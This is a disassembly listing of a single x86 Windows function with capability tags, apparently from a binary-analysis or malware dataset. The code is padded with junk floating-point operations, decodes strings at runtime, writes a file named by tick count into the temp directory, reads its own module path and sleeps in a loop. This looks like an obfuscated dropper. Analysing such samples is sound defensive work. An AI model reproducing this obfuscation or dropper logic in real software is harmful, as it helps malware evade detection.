Function at 0x4089e0
Capabilities:
Get common file path
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x41ddf8
mov eax, dword fs:[0]
push eax
sub esp, 0xd8
mov eax, dword [0x424fd0]
xor eax, esp
mov dword [esp + 0xd0], eax
push ebx
push esi
push edi
mov eax, dword [0x424fd0]
xor eax, esp
push eax
lea eax, [esp + 0xe8]
mov dword fs:[0], eax
fldz
xor esi, esi
fst dword [esp + 0x48]
xor eax, eax
fldz
mov dword [esp + 0x34], esi
mov dword [esp + 0x78], esi
mov word [esp + 0x58], ax
mov dword [esp + 0x38], esi
fst qword [esp + 0x6c]
xor ecx, ecx
mov word [esp + 0x1c], cx
fst qword [esp + 0x6c]
fxch st(1)
fstp dword [esp + 0x68]
fstp qword [esp + 0x3c]
fld dword [esp + 0x48]
fsubr qword [0x41e8b8]
fcomp qword [0x41e8b0]
fnstsw ax
test ah, 0x41
jne 0x408a9b
fld qword [0x423aa8]
fsubr qword [0x41e8a8]
fadd qword [0x41e8a0]
call fcn.0040a9e0
mov dword [0x4241d0], eax
fld qword [0x423aa8]
fadd qword [0x41e368]
fstp qword [0x423aa8]
mov dword [esp + 0x4c], esi
mov dword [esp + 0x50], esi
mov dword [esp + 0x98], 0xf
mov dword [esp + 0x94], esi
mov byte [esp + 0x84], 0
push 0x118
mov dword [esp + 0xf4], esi
call fcn.0040ab13
push eax
mov dword [esp + 0x84], eax
call fcn.00403200
add esp, 8
mov edi, edi
push 0
call fcn.0040a90a
fld qword [0x4221c8]
fld dword [esp + 0x6c]
mov cx, word [0x423fe4]
fadd qword [0x41e898]
mov esi, dword [esp + 0x54]
movsx ecx, cx
mov dword [esp + 0x1c], ecx
add esp, 4
mov dword [esp + 0x6c], eax
fild dword [esp + 0x18]
mov dword [esp + 0x70], edx
fsubp st(1)
fsubp st(1)
fstp qword [0x4221c8]
dec word [0x423fe4]
cmp edx, esi
jg 0x408b43
jl 0x408b35
cmp eax, dword [esp + 0x4c]
jae 0x408b43
xor esi, esi
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], esi
mov ecx, eax
sub ecx, dword [esp + 0x4c]
mov edi, edx
sbb edi, esi
mov dword [esp + 0x28], edi
js 0x4095ab
jg 0x408b65
cmp ecx, 0x708
jbe 0x4095ab
fld dword [0x423c20]
mov esi, eax
fadd qword [0x422150]
shr esi, 9
push 0x408
lea ebx, [esi + 0x55]
fstp dword [0x423c20]
push 0x4241e0
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], edx
mov dword [esp + 0x20], 0
mov dword [esp + 0x64], esi
mov dword [esp + 0x2c], ebx
call fcn.00401a80
push 0xd
push 0x423b68
mov dword [esp + 0x30], eax
call fcn.00401a80
mov dx, word [0x424630]
mov ecx, dword [0x423fc4]
mov edi, eax
movsx eax, dx
sub eax, ecx
add eax, 0xa4a5ea36
add dword [esp + 0x48], eax
push 0xaf1
push 0x422f70
mov dword [esp + 0x78], edi
call fcn.00401a80
push 0x31e
push 0x424bb0
mov dword [esp + 0x84], eax
call fcn.00401a80
add esp, 0x20
mov dword [esp + 0x30], eax
cmp esi, ebx
je 0x409142
jmp 0x408c10
fld qword [0x4245f8]
mov edx, dword [esp + 0x78]
fadd qword [0x41e890]
add edx, 0x5b14aa27
mov dword [esp + 0x14], edx
fild dword [esp + 0x14]
fsub qword [0x422e38]
fcompp
fnstsw ax
fld qword [0x4245f8]
fsub qword [0x41e368]
fstp qword [0x4245f8]
test ah, 1
jne 0x408c61
fld dword [0x422f64]
fmul qword [0x41e888]
fstp dword [0x422f64]
mov eax, dword [0x4267e0]
push 0
push eax
call fcn.00401e50
add esp, 8
test eax, eax
jne 0x408c8b
mov ecx, dword [0x4267e8]
mov edx, dword [0x426324]
push ecx
push edx
call fcn.00402a10
add esp, 8
mov eax, dword [esp + 0x5c]
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x64]
add dword [esp + 0x34], 0x100b6915
push eax
push ecx
push edx
lea eax, [esp + 0xa8]
push eax
call fcn.004026f0
push 0x8b
push 0x423b90
call fcn.00401a80
movzx ecx, word [esp + 0x34]
add esp, 0x18
mov ebx, eax
mov eax, dword [esp + 0x60]
sub ecx, 0x7e108b0
mov word [esp + 0x1c], cx
mov esi, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408ce0
mov edi, ebx
sub eax, esi
dec edi
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x408cf0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0x2710
push 0
lea edx, [esp + 0x88]
push edx
mov ecx, eax
lea eax, [esp + 0xa8]
and ecx, 3
push ebx
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.004082e0
push 0x8b
fldz
push 0
mov dword [esp + 0x30], 0
fstp dword [esp + 0x30]
push ebx
call fcn.0040af50
push ebx
call fcn.0040afca
fld qword [0x423b00]
fsub qword [0x41e368]
add esp, 0x24
fstp qword [0x423b00]
fld dword [esp + 0x14]
fld qword [0x423b00]
cmp dword [esp + 0x98], 0x10
fsub qword [0x41e3e0]
mov eax, dword [esp + 0x84]
fsubp st(1)
fstp dword [esp + 0x14]
jae 0x408d87
lea eax, [esp + 0x84]
mov ecx, dword [esp + 0x94]
mov edx, dword [esp + 0x20]
push ecx
push eax
push edx
call fcn.004080e0
add esp, 0xc
cmp eax, 9
jl 0x4090db
dec dword [esp + 0x38]
mov ecx, dword [esp + 0x38]
sub ecx, 0x97e9df4
mov dword [esp + 0x14], ecx
fild dword [esp + 0x14]
mov edi, 0x10
fmul qword [0x4220d8]
mov ecx, dword [esp + 0x84]
fstp qword [0x4220d8]
cmp dword [esp + 0x98], edi
jae 0x408de4
lea ecx, [esp + 0x84]
mov edx, dword [ecx]
xor ecx, ecx
cmp ecx, dword [esp + 0x70]
jl 0x4090db
jg 0x408dfe
cmp edx, dword [esp + 0x6c]
jb 0x4090db
lea esi, [eax - 1]
cmp esi, dword [esp + 0x94]
jbe 0x408e0f
call fcn.0040b6ac
mov eax, dword [esp + 0x84]
cmp dword [esp + 0x98], edi
jae 0x408e26
lea eax, [esp + 0x84]
mov byte [eax + esi], 0
mov esi, dword [esp + 0x98]
mov ebx, dword [esp + 0x84]
mov eax, ebx
cmp esi, edi
jae 0x408e45
lea eax, [esp + 0x84]
lea ecx, [esp + 0x9c]
add eax, 8
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x408e70
test dl, dl
je 0x408e6c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x408e70
add eax, 2
add ecx, 2
test dl, dl
jne 0x408e50
xor eax, eax
jmp 0x408e75
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x408e8c
fld qword [esp + 0x3c]
fsub qword [0x41e880]
fstp qword [esp + 0x3c]
jmp 0x4090db
cmp esi, edi
jb 0x408f68
mov edi, ebx
test ebx, ebx
je 0x408ec7
mov eax, ebx
cmp esi, 0x10
jae 0x408ea8
lea eax, [esp + 0x84]
cmp eax, edi
ja 0x408ec7
mov eax, ebx
cmp esi, 0x10
jae 0x408eba
lea eax, [esp + 0x84]
mov ecx, dword [esp + 0x94]
add eax, ecx
cmp edi, eax
jbe 0x408ed3
call fcn.0040b6ac
mov ecx, dword [esp + 0x94]
lea esi, [esp + 0x80]
mov ebx, edi
mov edx, dword [esp + 0x98]
mov eax, dword [esp + 0x84]
cmp edx, 0x10
jae 0x408ef6
lea eax, [esp + 0x84]
lea edi, [eax + ecx]
test edi, edi
je 0x408f2d
mov eax, dword [esp + 0x84]
cmp edx, 0x10
jae 0x408f10
lea eax, [esp + 0x84]
cmp eax, edi
ja 0x408f2d
mov eax, dword [esp + 0x84]
cmp edx, 0x10
jae 0x408f27
lea eax, [esp + 0x84]
add eax, ecx
cmp edi, eax
jbe 0x408f32
call fcn.0040b6ac
cmp esi, 0xfffffffc
je 0x408f4b
test esi, esi
je 0x408f46
lea edx, [esp + 0x80]
cmp esi, edx
je 0x408f4b
call fcn.0040b6ac
cmp ebx, edi
je 0x408fbf
cmp esi, 0xfffffffc
je 0x408f85
test esi, esi
jne 0x408f5d
call fcn.0040b6ac
cmp dword [esi + 0x18], 0x10
jb 0x408f74
mov eax, dword [esi + 4]
jmp 0x408f77
lea edi, [esp + 0x84]
jmp 0x408e9a
lea eax, [esi + 4]
mov ecx, dword [esi + 0x14]
add ecx, eax
cmp ebx, ecx
jb 0x408f85
call fcn.0040b6ac
mov byte [ebx], 0
cmp esi, 0xfffffffc
je 0x408fb2
test esi, esi
jne 0x408f96
call fcn.0040b6ac
cmp dword [esi + 0x18], 0x10
jb 0x408fa1
mov eax, dword [esi + 4]
jmp 0x408fa4
lea eax, [esi + 4]
mov edx, dword [esi + 0x14]
add edx, eax
cmp ebx, edx
jb 0x408fb2
call fcn.0040b6ac
mov ecx, dword [esp + 0x94]
inc ebx
jmp 0x408edc
push 0x7e
push 0x423b90
call fcn.00401a80
xor ebx, ebx
push ebx
mov esi, eax
push ebx
lea eax, [esp + 0x90]
push eax
lea ecx, [esp + 0xb0]
push esi
push ecx
call fcn.004082e0
fldz
push 0x7e
push ebx
mov dword [esp + 0x38], ebx
fstp dword [esp + 0x38]
push esi
call fcn.0040af50
push esi
call fcn.0040afca
fld qword [0x423b00]
fsub qword [0x41e368]
push 0xc
push 0x424044
fstp qword [0x423b00]
fld dword [esp + 0x48]
fld qword [0x423b00]
fsub qword [0x41e3e0]
fsubp st(1)
fstp dword [esp + 0x48]
call fcn.00401a80
add esp, 0x34
mov esi, eax
lea ecx, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x409040
sub eax, ecx
push eax
push 0xffffffffffffffff
push esi
lea ecx, [esp + 0x8c]
call fcn.004044e0
mov edx, dword [0x422ecc]
mov dword [esp + 0x14], edx
fild dword [esp + 0x14]
mov edi, eax
mov eax, dword [0x4241d0]
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fadd dword [0x422f20]
fsubp st(1)
call fcn.0040a9e0
fldz
mov dword [0x422ecc], eax
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esp + 0x14], ebx
fstp dword [esp + 0x14]
push esi
mov dword [esi + 8], eax
call fcn.0040afca
fld qword [0x423b00]
fsub qword [0x41e368]
add esp, 4
fstp qword [0x423b00]
fld dword [esp + 0x14]
fld qword [0x423b00]
mov ecx, dword [esp + 0x94]
fsub qword [0x41e3e0]
add ecx, 0xfffffff5
fsubp st(1)
fstp dword [esp + 0x14]
cmp edi, ecx
je 0x4090f0
mov eax, dword [esp + 0x5c]
inc eax
mov dword [esp + 0x5c], eax
cmp eax, dword [esp + 0x24]
jne 0x408c10
jmp 0x40913e
movzx edx, word [esp + 0x1c]
movsx eax, dx
mov ecx, 0xdc45d5cd
sub ecx, eax
add ecx, dword [esp + 0x34]
push 0xb
mov dword [esp + 0x38], ecx
push edi
lea ecx, [esp + 0x88]
call fcn.00404ee0
mov dword [esp + 0x18], 1
fld qword [0x422170]
movzx edx, word [0x4221e4]
movsx eax, dx
mov dword [esp + 0x24], eax
fild dword [esp + 0x24]
fsubp st(1)
fstp qword [0x422170]
mov edi, dword [esp + 0x60]
fldz
mov ebx, dword [esp + 0x20]
xor esi, esi
push 0x408
push esi
mov dword [esp + 0x2c], esi
fstp dword [esp + 0x1c]
push ebx
call fcn.0040af50
push ebx
call fcn.0040afca
fld qword [0x423b00]
fsub qword [0x41e368]
xor eax, eax
push edi
fstp qword [0x423b00]
fld dword [esp + 0x28]
fld qword [0x423b00]
mov dword [edi], eax
fsub qword [0x41e3e0]
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov byte [edi + 0xc], al
fsubp st(1)
fstp dword [esp + 0x28]
mov dword [esp + 0x38], esi
fldz
fstp dword [esp + 0x34]
call fcn.0040afca
fld qword [0x423b00]
fsub qword [0x41e368]
mov edi, dword [esp + 0x44]
push 0x31e
push esi
push edi
fstp qword [0x423b00]
fld dword [esp + 0x40]
fld qword [0x423b00]
fsub qword [0x41e3e0]
fsubp st(1)
fstp dword [esp + 0x40]
mov dword [esp + 0x44], esi
fldz
fstp dword [esp + 0x40]
call fcn.0040af50
push edi
call fcn.0040afca
fld qword [0x423b00]
fsub qword [0x41e368]
mov edi, dword [esp + 0x88]
push 0xaf1
push esi
fstp qword [0x423b00]
push edi
fld dword [esp + 0x50]
fld qword [0x423b00]
fsub qword [0x41e3e0]
fsubp st(1)
fstp dword [esp + 0x50]
mov dword [esp + 0x54], esi
fldz
fstp dword [esp + 0x60]
call fcn.0040af50
push edi
call fcn.0040afca
fld qword [0x423b00]
fsub qword [0x41e368]
push 0x40
lea ecx, [esp + 0xd4]
push esi
fstp qword [0x423b00]
push ecx
fld dword [esp + 0x70]
fld qword [0x423b00]
fsub qword [0x41e3e0]
fsubp st(1)
fstp dword [esp + 0x70]
call fcn.0040af50
add esp, 0x40
cmp dword [esp + 0x18], esi
je 0x4095ab
mov edx, dword [esp + 0x7c]
push 0x708
push edx
call fcn.00403100
add esp, 8
cmp dword [esp + 0x94], 0x200
jbe 0x4095ab
push 0x370
call fcn.0040ab13
add esp, 4
mov ebx, eax
push ebx
push 0xeb
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov ax, word [esp + 0x1c]
movsx ecx, ax
sub ecx, 0x41b3f434
mov dword [esp + 0x34], ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push ebx
call fcn.00402b20
fld qword [0x422160]
add esp, 8
fadd qword [0x41e878]
fcomp qword [0x41e870]
fnstsw ax
fld qword [0x422160]
fsub qword [0x41e368]
fstp qword [0x422160]
test ah, 0x41
jp 0x409316
add dword [0x423d0c], 0xfd1f6d18
push 3
push 0x4241d4
call fcn.00401a80
mov esi, eax
push esi
push ebx
call fcn.0040b538
fldz
mov edi, eax
xor eax, eax
mov dword [esp + 0x34], eax
fstp dword [esp + 0x28]
mov word [esi], ax
push esi
mov byte [esi + 2], al
call fcn.0040afca
fld qword [0x423b00]
fsub qword [0x41e368]
add esp, 0x14
fstp qword [0x423b00]
fld dword [esp + 0x18]
fld qword [0x423b00]
cmp dword [esp + 0x98], 0x10
fsub qword [0x41e3e0]
mov eax, dword [esp + 0x84]
fsubp st(1)
fstp dword [esp + 0x18]
jae 0x409388
lea eax, [esp + 0x84]
mov edx, dword [esp + 0x94]
push edi
push 1
push edx
push eax
call fcn.0040b8ea
fld dword [0x422e68]
fsubr qword [0x41e868]
push edi
fsub qword [0x41e860]
fstp dword [0x423b28]
fld dword [0x422e68]
fsub qword [0x41e368]
fstp dword [0x422e68]
call fcn.0040b0de
mov eax, dword [0x424068]
add esp, 0x14
cmp eax, 0x9f77f5c9
jl 0x4093e8
fld dword [esp + 0x48]
fmul qword [0x423b40]
fstp dword [esp + 0x48]
jmp 0x409400
fld qword [esp + 0x3c]
fld dword [esp + 0x68]
fsub qword [0x41e858]
fsub dword [esp + 0x48]
fsubp st(1)
fstp qword [esp + 0x3c]
push 0x104
lea eax, [ebx + 0x104]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x15
push 0x4246a0
call fcn.00401a80
push 0x20
push 0x423a64
mov edi, eax
call fcn.00401a80
mov ecx, dword [0x4267e0]
push ecx
mov esi, eax
push esi
lea eax, [ebx + 0x104]
push eax
push edi
lea eax, [ebx + 0x208]
push 0x168
push eax
call fcn.0040b96c
fld qword [esp + 0x64]
fld1
fadd st(1), st(0)
fxch st(1)
fstp qword [esp + 0x64]
fld qword [esp + 0x64]
fsub qword [0x41e850]
fadd qword [esp + 0x64]
mov dx, word [0x423ac8]
movsx eax, dx
mov dword [esp + 0x4c], eax
fild dword [esp + 0x4c]
faddp st(1)
call fcn.0040a9e0
mov word [0x423ac8], ax
fsubr qword [esp + 0x64]
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], eax
fstp qword [esp + 0x64]
fldz
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esp + 0x4c], eax
fstp dword [esp + 0x40]
mov dword [esi + 0x18], eax
push esi
mov dword [esi + 0x1c], eax
call fcn.0040afca
fld qword [0x423b00]
fsub qword [0x41e368]
add esp, 0x2c
fstp qword [0x423b00]
fld dword [esp + 0x18]
fld qword [0x423b00]
fsub qword [0x41e3e0]
fsubp st(1)
fstp dword [esp + 0x18]
mov ecx, dword [0x422dc4]
mov dword [esp + 0x24], ecx
fild dword [esp + 0x24]
fsub qword [0x4221b8]
fsub qword [0x41e848]
fcomp qword [0x41e840]
fnstsw ax
test ah, 0x44
jp 0x409520
mov dx, word [esp + 0x58]
movsx eax, dx
mov dword [0x422dc4], eax
inc dword [esp + 0x58]
fldz
xor eax, eax
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], eax
mov dword [esp + 0x24], 0
fstp dword [esp + 0x18]
push edi
mov byte [edi + 0x14], al
call fcn.0040afca
fld qword [0x423b00]
fsub qword [0x41e368]
push 1
fstp qword [0x423b00]
fld dword [esp + 0x20]
fld qword [0x423b00]
mov ecx, dword [0x4267e0]
fsub qword [0x41e3e0]
push ecx
fsubp st(1)
fstp dword [esp + 0x24]
call fcn.00401e50
lea eax, [ebx + 0x208]
push eax
push ebx
call fcn.00402a10
push 0x370
push 0
push ebx
call fcn.0040af50
push ebx
call fcn.0040afca
add esp, 0x24
push 0x15f90
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [0x4246d8]
mov dx, word [esp + 0x1c]
movsx eax, dx
mov dword [esp + 0x24], eax
push 0
fild dword [esp + 0x28]
faddp st(1)
fadd qword [0x422e48]
fmul qword [0x423f38]
fstp qword [0x423f38]
fld qword [0x422e48]
mov ecx, dword [0x4267e0]
fadd qword [0x41e368]
push ecx
fstp qword [0x422e48]
call fcn.00401e50
add esp, 8
test eax, eax
jne 0x408ae0
mov edx, dword [0x4267e8]
mov eax, dword [0x426324]
push edx
push eax
call fcn.00402a10
jmp 0x408adb